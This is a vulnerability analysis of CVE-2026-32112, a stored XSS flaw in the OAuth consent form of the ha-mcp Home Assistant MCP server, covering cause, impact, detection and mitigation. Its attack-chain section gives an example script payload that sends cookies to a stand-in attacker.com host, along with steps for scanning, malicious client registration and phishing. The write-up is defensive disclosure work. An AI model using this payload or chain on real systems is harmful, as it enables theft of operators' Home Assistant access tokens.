CVE-2026-32112: 
Python vulnerability analysis and mitigation

CVE-2026-32112 is a Cross-Site Scripting (XSS) vulnerability in ha-mcp, the Home Assistant MCP Server, affecting all versions prior to 7.0.0 (≤6.7.2). The flaw exists in the OAuth consent form, which renders user-controlled parameters via Python f-strings without HTML escaping, allowing an attacker to inject and execute arbitrary JavaScript in the server operator's browser. It was published on March 11, 2026, and affects only users running the beta OAuth mode (ha-mcp-oauth), which requires explicit configuration and is not part of the standard setup. The CVSS v3.1 base score is 6.8 (Medium) (GitHub Advisory, Security Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in consent_form.py, which constructs HTML using Python f-strings with no calls to html.escape(). The following user-controlled values are rendered unescaped: client_name and client_id in HTML element context (lines 299, 303); client_id, redirect_uri, and state in HTML attribute context (lines 310–312), where a " character can break out of value="" attributes; and error_message, error, and error_description in error display paths (lines 36–40, 496–497). Dynamic Client Registration (DCR) is enabled by default with no initial access token required, allowing any attacker who can reach the OAuth endpoint to register a malicious client via the /register endpoint with an arbitrary client_name containing a JavaScript payload (Security Advisory, GitHub Advisory).

If successfully exploited, the injected JavaScript payload executes in the server operator's browser in the context of the OAuth consent form, potentially exfiltrating sensitive data including Home Assistant Long-Lived Access Tokens entered or stored in the browser session. Confidentiality and integrity are both rated High in the vendor's revised CVSS assessment, though availability is not impacted. The attack scope is limited to users running the beta ha-mcp-oauth mode; the majority of ha-mcp users running stdio mode are entirely unaffected (Security Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of publication (GitHub Advisory). The EPSS score is approximately 0.033–0.037%, placing it in the 11th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires multiple conditions: network access to the OAuth endpoint, successful registration of a malicious OAuth client, and social engineering the server operator into following a crafted authorization URL — a meaningful barrier given that operators have no legitimate reason to authorize unrecognized OAuth clients outside of standard Claude.ai or ChatGPT workflows (Security Advisory).

1. Reconnaissance: Identify internet-facing ha-mcp instances running in OAuth mode (ha-mcp-oauth) by scanning for the OAuth endpoint (the server binds to 0.0.0.0 in HTTP mode). Confirm the /register DCR endpoint is accessible without authentication.
2. Register a malicious OAuth client: Send a POST request to the /register endpoint with a crafted client_name containing a JavaScript XSS payload (e.g., <script>document.location='https://attacker.com/?token='+document.cookie</script>) — no access token is required for registration.
3. Craft a malicious authorization URL: Construct an authorization URL referencing the newly registered malicious client_id, which will cause the consent form to render the unescaped client_name payload when visited.
4. Social engineering: Convince the server operator to follow the crafted authorization URL, for example by embedding it in a phishing email or message that mimics a legitimate Claude.ai or ChatGPT authorization flow.
5. Payload execution and data exfiltration: When the operator visits the URL, the consent form renders the unescaped client_name, executing the JavaScript payload in their browser. The payload can exfiltrate the Home Assistant Long-Lived Access Token or other sensitive session data to an attacker-controlled server (Security Advisory, GitHub Advisory).

• Network: Unexpected POST requests to the /register DCR endpoint from unknown or external IP addresses; outbound HTTP requests from the operator's browser to unfamiliar external domains shortly after visiting an authorization URL.
• Logs: ha-mcp server logs showing OAuth client registrations with unusual or script-containing client_name values; authorization endpoint access from IP addresses not associated with Claude.ai or ChatGPT infrastructure.
• File System: No specific file artifacts expected, as this is a browser-side XSS attack; however, review ha-mcp configuration files for unexpected MCP_BASE_URL settings indicating OAuth mode is enabled.
• Process/Application: Unexpected OAuth client entries in the ha-mcp client registry with suspicious client_name values containing HTML or JavaScript characters (<, >, ", ', script).

The vulnerability is fixed in ha-mcp version 7.0.0, which introduces proper HTML escaping in consent_form.py. Users running any version ≤6.7.2 with OAuth mode enabled should upgrade immediately. As interim mitigations: disable the beta OAuth mode (ha-mcp-oauth) and revert to the default stdio mode if OAuth functionality is not strictly required; restrict network access to the OAuth endpoint to trusted networks only, preventing unauthenticated external access to the /register DCR endpoint; and educate server operators to only follow authorization flows initiated from official Claude.ai or ChatGPT platforms and to reject unexpected authorization requests (Security Advisory, GitHub Advisory).

The advisory was published by maintainer julienld on March 11, 2026, with credit to reporter yotampe-pluto. The vendor's advisory includes a revised CVSS score (6.8 Medium) that adjusts Attack Complexity from Low to High to reflect the social engineering requirement, demonstrating a measured and transparent disclosure approach. Coverage has been picked up by automated vulnerability tracking services including cvefeed.io, VulDB, GitLab Advisories, and ENISA's EUVD database, but no significant independent researcher commentary or media coverage has been identified (Security Advisory).